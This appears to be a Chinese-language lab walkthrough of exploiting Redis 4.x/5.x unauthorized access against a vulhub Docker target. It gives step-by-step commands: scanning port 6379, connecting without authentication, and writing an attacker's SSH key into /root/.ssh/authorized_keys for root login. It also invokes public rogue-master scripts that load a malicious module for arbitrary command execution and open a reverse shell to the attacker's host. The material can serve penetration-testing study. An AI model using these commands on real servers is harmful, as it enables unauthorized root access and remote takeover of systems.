Redis 4.x/5.x 未授权访问漏洞
0x00漏洞简介
Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。
0x01漏洞复现
攻击机:Kali Linux IP:192.168.0.189
靶机:CentOS 7 (内含docker)IP:192.168.2.184 环境:https://github.com/vulhub/vulhub/tree/master/redis/4-unacc
(1)攻击机环境准备
下载redis:http://download.redis.io/releases/
解压:tar -zxvf xxx
进入文件夹编译:make
授予redis-cli全局访问权限:cp redis-cli /usr/local/bin
(2)对靶机的redis进行端口探测
nmap -p 6379 -script redis-info 192.168.2.184
(3)进行未授权访问连接
redis-cli -h 192.168.2.184
(4)免密钥登陆对方主机
SSH提供两种登录验证方式,一种是口令验证也就是账号密码登录,另一种是密钥验证也就是我们想要的免密登录了,这里我只简单说一下密钥验证的原理。
所谓密钥验证,其实就是一种基于公钥密码的认证,使用公钥加密、私钥解密,其中公钥是可以公开的,放在服务器端,你可以把同一个公钥放在所有你想SSH远程登录的服务器中,而私钥是保密的只有你自己知道,公钥加密的消息只有私钥才能解密,大体过程如下:
(1)客户端生成私钥和公钥,并把公钥拷贝给服务器端;
(2)客户端发起登录请求,发送自己的相关信息;
(3)服务器端根据客户端发来的信息查找是否存有该客户端的公钥,若没有拒绝登录,若有则生成一段随机数使用该公钥加密后发送给客户端;
(4)客户端收到服务器发来的加密后的消息后使用私钥解密,并把解密后的结果发给服务器用于验证;
(5)服务器收到客户端发来的解密结果,与自己刚才生成的随机数比对,若一样则允许登录,不一样则拒绝登录。
如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。
#生成ssh公钥
ssh-keygen -t rsa
#将该密钥复制到gongyao.txt种
(echo -e ""\n\n"; cat id_rsa.pub; echo -e ""\n\n") > gongyao.txt
#将gongyao.txt传到靶机
cat gongyao.txt | redis-cli -h 192.168.2.184 -x set crackit
#登陆靶机,路径修改为root/.ssh
redis-cli -h 192.168.2.184
config set dir /root/.ssh
config set dbfilename authorized_keys
save
#远程登陆
ssh -i /root/.ssh/id_rsa root@192.168.2.184
0x02 EXP
(1)任意命令执行:https://github.com/vulhub/redis-rogue-getshell
kali Linux 位置:/hack/redis-rogue-getshell/redis-master.py
python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "id"
(2)反弹shell:https://github.com/Ridter/redis-rce
Kali Linux 位置:/hack/redis-rogue-getshell/redis-rce.py
python3 redis-rce.py -r 192.168.2.184 -L 192.168.0.189 -f RedisModulesSDK/exp.so